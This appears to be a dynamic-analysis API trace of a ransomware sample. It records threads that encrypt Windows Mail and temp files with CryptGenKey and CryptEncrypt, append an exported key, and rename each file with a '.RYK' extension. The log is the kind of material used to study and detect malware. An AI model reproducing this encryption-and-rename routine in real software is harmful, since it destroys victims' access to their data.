	[0253.078] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.078] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.078] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00002.jrs"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00002.jrs.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3239
	os_tid = 0x385c

	[0253.079] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml", dwFileAttributes=0x80) returned 0
	[0253.079] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\oeold.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.079] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.079] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\oeold.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3240
	os_tid = 0x3860

	[0253.105] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", dwFileAttributes=0x80) returned 0
	[0253.106] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.106] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.106] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3241
	os_tid = 0x3864

	[0253.107] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat", dwFileAttributes=0x80) returned 0
	[0253.107] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.107] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.107] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.pat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3259
	os_tid = 0x38b0

	[0253.227] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-jDCM.csv", dwFileAttributes=0x80) returned 1
	[0253.228] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-jDCM.csv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-jdcm.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x658
	[0253.229] GetFileSizeEx (in: hFile=0x658, lpFileSize=0x8defb78 | out: lpFileSize=0x8defb78*=36744) returned 1
	[0253.229] GetFileSizeEx (in: hFile=0x658, lpFileSize=0x8defb88 | out: lpFileSize=0x8defb88*=36744) returned 1
	[0253.229] SetFilePointerEx (in: hFile=0x658, liDistanceToMove=0x8e66, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0253.229] ReadFile (in: hFile=0x658, lpBuffer=0x8defbd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8defb40, lpOverlapped=0x0 | out: lpBuffer=0x8defbd0*, lpNumberOfBytesRead=0x8defb40*=0x19, lpOverlapped=0x0) returned 1
	[0253.231] SetFilePointer (in: hFile=0x658, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0253.231] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8defb58 | out: phKey=0x8defb58*=0x3f7d20) returned 1
	[0253.231] SetFilePointer (in: hFile=0x658, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0253.231] ReadFile (in: hFile=0x658, lpBuffer=0x3980000, nNumberOfBytesToRead=0x8f88, lpNumberOfBytesRead=0x8defb64, lpOverlapped=0x0 | out: lpBuffer=0x3980000*, lpNumberOfBytesRead=0x8defb64*=0x8f88, lpOverlapped=0x0) returned 1
	[0253.233] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8defb60*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8defb60*=0xf4250) returned 1
	[0253.233] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3980000*, pdwDataLen=0x8defb68*=0x8f88, dwBufLen=0xf4250 | out: pbData=0x3980000*, pdwDataLen=0x8defb68*=0x8f90) returned 1
	[0253.233] SetFilePointer (in: hFile=0x658, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0253.233] WriteFile (in: hFile=0x658, lpBuffer=0x3980000*, nNumberOfBytesToWrite=0x8f90, lpNumberOfBytesWritten=0x8defb64, lpOverlapped=0x0 | out: lpBuffer=0x3980000*, lpNumberOfBytesWritten=0x8defb64*=0x8f90, lpOverlapped=0x0) returned 1
	[0253.234] WriteFile (in: hFile=0x658, lpBuffer=0x8defb90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8defb70, lpOverlapped=0x0 | out: lpBuffer=0x8defb90*, lpNumberOfBytesWritten=0x8defb70*=0x6, lpOverlapped=0x0) returned 1
	[0253.234] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8defb80 | out: pbData=0x0*, pdwDataLen=0x8defb80*=0x10c) returned 1
	[0253.234] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8defbf0, pdwDataLen=0x8defb80 | out: pbData=0x8defbf0*, pdwDataLen=0x8defb80*=0x10c) returned 1
	[0253.234] WriteFile (in: hFile=0x658, lpBuffer=0x8defbf0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8defb70, lpOverlapped=0x0 | out: lpBuffer=0x8defbf0*, lpNumberOfBytesWritten=0x8defb70*=0x10c, lpOverlapped=0x0) returned 1
	[0253.234] CloseHandle (hObject=0x658) returned 1
	[0253.488] CryptDestroyKey (hKey=0x3f7d20) returned 1
	[0253.488] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-jDCM.csv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-jdcm.csv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-jDCM.csv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-jdcm.csv.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3260
	os_tid = 0x38b4

	[0253.261] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-lr0Ch.doc", dwFileAttributes=0x80) returned 1
	[0253.262] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-lr0Ch.doc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-lr0ch.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x658
	[0253.263] GetFileSizeEx (in: hFile=0x658, lpFileSize=0x8c8f9d8 | out: lpFileSize=0x8c8f9d8*=41061) returned 1
	[0253.263] GetFileSizeEx (in: hFile=0x658, lpFileSize=0x8c8f9e8 | out: lpFileSize=0x8c8f9e8*=41061) returned 1
	[0253.263] SetFilePointerEx (in: hFile=0x658, liDistanceToMove=0x9f43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0253.263] ReadFile (in: hFile=0x658, lpBuffer=0x8c8fa30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c8f9a0, lpOverlapped=0x0 | out: lpBuffer=0x8c8fa30*, lpNumberOfBytesRead=0x8c8f9a0*=0x19, lpOverlapped=0x0) returned 1
	[0253.265] SetFilePointer (in: hFile=0x658, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0253.265] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8c8f9b8 | out: phKey=0x8c8f9b8*=0x3f7d90) returned 1
	[0253.265] SetFilePointer (in: hFile=0x658, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0253.265] ReadFile (in: hFile=0x658, lpBuffer=0x2610000, nNumberOfBytesToRead=0xa065, lpNumberOfBytesRead=0x8c8f9c4, lpOverlapped=0x0 | out: lpBuffer=0x2610000*, lpNumberOfBytesRead=0x8c8f9c4*=0xa065, lpOverlapped=0x0) returned 1
	[0253.266] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c8f9c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c8f9c0*=0xf4250) returned 1
	[0253.266] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2610000*, pdwDataLen=0x8c8f9c8*=0xa065, dwBufLen=0xf4250 | out: pbData=0x2610000*, pdwDataLen=0x8c8f9c8*=0xa070) returned 1
	[0253.266] SetFilePointer (in: hFile=0x658, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0253.266] WriteFile (in: hFile=0x658, lpBuffer=0x2610000*, nNumberOfBytesToWrite=0xa070, lpNumberOfBytesWritten=0x8c8f9c4, lpOverlapped=0x0 | out: lpBuffer=0x2610000*, lpNumberOfBytesWritten=0x8c8f9c4*=0xa070, lpOverlapped=0x0) returned 1
	[0253.267] WriteFile (in: hFile=0x658, lpBuffer=0x8c8f9f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c8f9d0, lpOverlapped=0x0 | out: lpBuffer=0x8c8f9f0*, lpNumberOfBytesWritten=0x8c8f9d0*=0x6, lpOverlapped=0x0) returned 1
	[0253.267] CryptExportKey (in: hKey=0x3f7d90, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c8f9e0 | out: pbData=0x0*, pdwDataLen=0x8c8f9e0*=0x10c) returned 1
	[0253.267] CryptExportKey (in: hKey=0x3f7d90, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c8fa50, pdwDataLen=0x8c8f9e0 | out: pbData=0x8c8fa50*, pdwDataLen=0x8c8f9e0*=0x10c) returned 1
	[0253.267] WriteFile (in: hFile=0x658, lpBuffer=0x8c8fa50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c8f9d0, lpOverlapped=0x0 | out: lpBuffer=0x8c8fa50*, lpNumberOfBytesWritten=0x8c8f9d0*=0x10c, lpOverlapped=0x0) returned 1
	[0253.267] CloseHandle (hObject=0x658) returned 1
	[0253.269] CryptDestroyKey (hKey=0x3f7d90) returned 1
	[0253.269] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-lr0Ch.doc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-lr0ch.doc"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-lr0Ch.doc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-lr0ch.doc.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3261
	os_tid = 0x38b8

	[0253.272] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1o86XN.gif", dwFileAttributes=0x80) returned 1
	[0254.201] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1o86XN.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1o86xn.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c
	[0254.201] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x908f6b8 | out: lpFileSize=0x908f6b8*=53882) returned 1
	[0254.201] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x908f6c8 | out: lpFileSize=0x908f6c8*=53882) returned 1
	[0254.201] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0xd158, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0254.201] ReadFile (in: hFile=0x69c, lpBuffer=0x908f710, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x908f680, lpOverlapped=0x0 | out: lpBuffer=0x908f710*, lpNumberOfBytesRead=0x908f680*=0x19, lpOverlapped=0x0) returned 1
	[0254.203] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.203] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x908f698 | out: phKey=0x908f698*=0x3f8110) returned 1
	[0254.203] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.203] ReadFile (in: hFile=0x69c, lpBuffer=0x2b00000, nNumberOfBytesToRead=0xd27a, lpNumberOfBytesRead=0x908f6a4, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesRead=0x908f6a4*=0xd27a, lpOverlapped=0x0) returned 1
	[0254.204] CryptEncrypt (in: hKey=0x3f8110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x908f6a0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x908f6a0*=0xf4250) returned 1
	[0254.204] CryptEncrypt (in: hKey=0x3f8110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x908f6a8*=0xd27a, dwBufLen=0xf4250 | out: pbData=0x2b00000*, pdwDataLen=0x908f6a8*=0xd280) returned 1
	[0254.204] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.204] WriteFile (in: hFile=0x69c, lpBuffer=0x2b00000*, nNumberOfBytesToWrite=0xd280, lpNumberOfBytesWritten=0x908f6a4, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesWritten=0x908f6a4*=0xd280, lpOverlapped=0x0) returned 1
	[0254.205] WriteFile (in: hFile=0x69c, lpBuffer=0x908f6d0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x908f6b0, lpOverlapped=0x0 | out: lpBuffer=0x908f6d0*, lpNumberOfBytesWritten=0x908f6b0*=0x6, lpOverlapped=0x0) returned 1
	[0254.205] CryptExportKey (in: hKey=0x3f8110, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x908f6c0 | out: pbData=0x0*, pdwDataLen=0x908f6c0*=0x10c) returned 1
	[0254.205] CryptExportKey (in: hKey=0x3f8110, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x908f730, pdwDataLen=0x908f6c0 | out: pbData=0x908f730*, pdwDataLen=0x908f6c0*=0x10c) returned 1
	[0254.205] WriteFile (in: hFile=0x69c, lpBuffer=0x908f730*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x908f6b0, lpOverlapped=0x0 | out: lpBuffer=0x908f730*, lpNumberOfBytesWritten=0x908f6b0*=0x10c, lpOverlapped=0x0) returned 1
	[0254.205] CloseHandle (hObject=0x69c) returned 1
	[0254.837] CryptDestroyKey (hKey=0x3f8110) returned 1
	[0254.837] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1o86XN.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1o86xn.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1o86XN.gif.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1o86xn.gif.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3262
	os_tid = 0x38bc

	[0253.272] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2bzGyA5wVpzpZK3I0Z6-.wav", dwFileAttributes=0x80) returned 0
	[0253.272] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2bzGyA5wVpzpZK3I0Z6-.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2bzgya5wvpzpzk3i0z6-.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0253.272] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0253.273] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2bzGyA5wVpzpZK3I0Z6-.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2bzgya5wvpzpzk3i0z6-.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2bzGyA5wVpzpZK3I0Z6-.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2bzgya5wvpzpzk3i0z6-.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3263
	os_tid = 0x38c0

	[0253.274] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4H2RiR0v1TTc.mp3", dwFileAttributes=0x80) returned 1
	[0254.206] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4H2RiR0v1TTc.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4h2rir0v1ttc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x698
	[0254.207] GetFileSizeEx (in: hFile=0x698, lpFileSize=0x93ef758 | out: lpFileSize=0x93ef758*=57297) returned 1
	[0254.207] GetFileSizeEx (in: hFile=0x698, lpFileSize=0x93ef768 | out: lpFileSize=0x93ef768*=57297) returned 1
	[0254.207] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0xdeaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
